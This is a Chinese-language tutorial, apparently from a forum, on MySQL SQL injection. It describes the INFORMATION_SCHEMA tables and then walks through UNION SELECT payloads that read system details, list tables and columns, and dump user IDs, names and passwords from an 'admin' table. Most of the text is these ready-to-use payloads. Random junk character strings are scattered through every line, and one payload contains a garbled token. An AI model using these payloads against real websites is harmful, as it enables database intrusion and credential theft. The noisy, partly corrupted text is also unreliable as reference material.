本文介绍MYSQL盲注的一些语句和方法
( e2 G6 n$ |9 |: v
( o0 w2 o# L! t: U8 Z4 P$ w学习盲注前先了解下 IFORMATION_SCHEMA 库. z1 \7 S# T+ X9 c( b
w5 q1 I0 N/ e. X5 m/ E
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有- k8 `- k& h! y, D) G5 w
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。3 l+ D* _# z4 o5 W/ `
1.得到所有数据库名: n. `5 ?1 d, y' z& r
|SCHEMATA ->存储数据库名的表
( v" e* J) I; s7 ]2 n5 V3 }$ g|---字段:SCHEMA_NAME ->数据库名称
/ N H* J4 z6 C( v7 e: x' j8 z" v$ k5 ~
|TABLES ->存储表名
0 o, l, q* ~0 D% R H5 h+ J|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名/ N T9 q S8 I. ]/ Y1 {( o, s
|---字段:TABLE_NAME ->存储表的表名1 F. ]+ I, P+ A% J2 Y' T$ V
3 j; h/ k' g) F1 N# D|COLUMNS ->存储的字段名表3 O4 \0 |( L6 B* D
|---字段:TABLE_SCHEMA ->该字段所属数据库名/ q2 C4 i- [: p; R- x
|---字段:TABLE_NAME ->存储所属表的名称
# M- m. n6 R) `- i! [. G& z7 n
8 u! K' u) Z1 F: Q V' g# M$ i/ A. X3 O|---字段:COLUMN_NAME ->该字段的名称
0 w0 s; u' ^1 T/ ^ S8 Q
* W3 j. c+ N, L; Z) v: b3 h
- Z& Z4 Z. g6 R6 e [3 s; B4 ~
8 i: ~+ b* {9 a" h###########################################################################
. N5 W. ^! F' ], N4 t8 l) j0 l) v+ g3 z& X7 i/ b
0x001 获取系统信息:
1 ^, |1 C5 h2 Q3 ?4 e. k: h J: N1 C: C! [. z
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*2 Q' a% v9 A r6 J% ^
3 M( v) Q6 L/ R6 X8 ^ v; z( P
/*
4 l+ c) V. Y0 x) \4 Z
8 n" g) F7 h2 `: {( }3 A" ^@@global.version_compile_os 获取系统版本; \7 U0 C5 o e+ h' P
' s0 R1 g0 _) j@@datadir 数据库路径
8 s* _ ~# H5 e6 G* S! Tdatabase() 当前数据库名称
$ R6 H9 L$ ^/ s: h0x3c62723e 换行HEX值0 q. j% [+ U1 y+ u
! |5 m2 U7 W/ M6 |2 D& j( I8 A
*/
+ [: H) j7 n7 ^
q7 y# W0 q' u N ' X* f( b1 {- J$ Z
: p; m T ?; `; ~
######################################################################
: E/ m; [: w! K4 I, ~1 U: f3 W" ~& B1 ^0 K; {
0x002 获取表名: x; ?' ?$ i( ]% o) {+ A- x
6 M& k' N. }+ o7 p& Zunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*5 B- Q. ], o* [) @% L0 J' @+ V
: C- Y4 X" ^9 ? ' G/ N- Q9 U5 A$ G) M5 `4 }
; Z4 D! E7 N- v. { @; l3 C/*
: h# K7 \, l% a8 x1 X2 N2 ~1 C& Z6 p( y
0x67617264656e 为当前数据库名
, A4 h2 r1 r. Z' Q F: W! Q# M/ ~& k) A. H" V* a# Z j: u
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
H* F; V( ?$ X. w* ]( ]& \7 o4 T$ ^- V2 W5 }, Z8 o
*/7 v7 S: J+ [' ]1 t5 d$ b! I
, x2 P. N' P" c0 N* [
######################################################################8 [5 y e" a+ {$ F4 v+ a/ ?) }0 N( d
0 p# v) f* e0 G4 e. G! L% |
. Y& E& M7 B3 Q. J# `5 ]
8 [+ q. a! \1 d! X0x003 获取字段5 G) w: I& G1 @- P
. K: z( \" w+ W: V* `union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
& p; s* m; ?4 I2 Z. G4 y) p+ T/ l9 Z
/*
$ C) \. ^, I; m6 h" f9 H# D1 x+ Q
0 Z% T: m* D9 j" [( b; Cgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
: C J: w) a K4 f2 t! b* }+ b5 m x5 a; G5 }' d
0x61646d696e ->选择一个表
! f$ J, l0 N- u+ V7 m
2 @9 \1 ~# k, l9 H2 X0x67617264656e ->数据库名6 h+ g9 P6 |+ \. \$ I
+ U9 `. l1 ~0 i1 b% l9 S% k9 X) x2 Y0 I*/
+ b4 q8 ] a, |% k
3 y3 N; C; G3 R( Z- C, a8 Q9 S#####################################################################
5 n) \! W2 i" z" p1 v5 c/ ~8 l3 K; ~. L$ m$ S
& g2 G, b9 E1 T. o `9 U0 X, x9 [- T6 r7 d% ^* F1 |% M% k
0x004 获取数据# K7 S: u" e: y9 \1 D* n
; p. \ @6 [ K6 x
union select 1,2,3
+ g1 b# H1 U$ J! A0 x9 c% g,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin: [( ?7 j: `% e. o, i. d
$ v5 i# O5 S4 E6 a: Eunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
! t5 |8 ?" \0 i: ~! C2 M6 Z3 Q$ I# W8 y# j# P5 L( ~
: F$ Y2 ]$ _2 o6 M" v! _2 P
6 L$ m y# j! t J+ q/*% L+ K( r# s! E8 d+ r
8 x0 V# [4 F! X( l/ V' h
0x3c62723e 换行符号HEX编码( L# J) k, j6 d! S/ M" }0 `4 [
, H. P+ i! B6 H! Lgroup_concat 同时获得该字段所有数据
( K' r; C! l3 i# R6 @ _ A5 q- `# g+ d. K
*/
0 P9 n" [& v c" E1 ?1 ]- h! e% p4 h5 z1 c4 q8 ^" i
|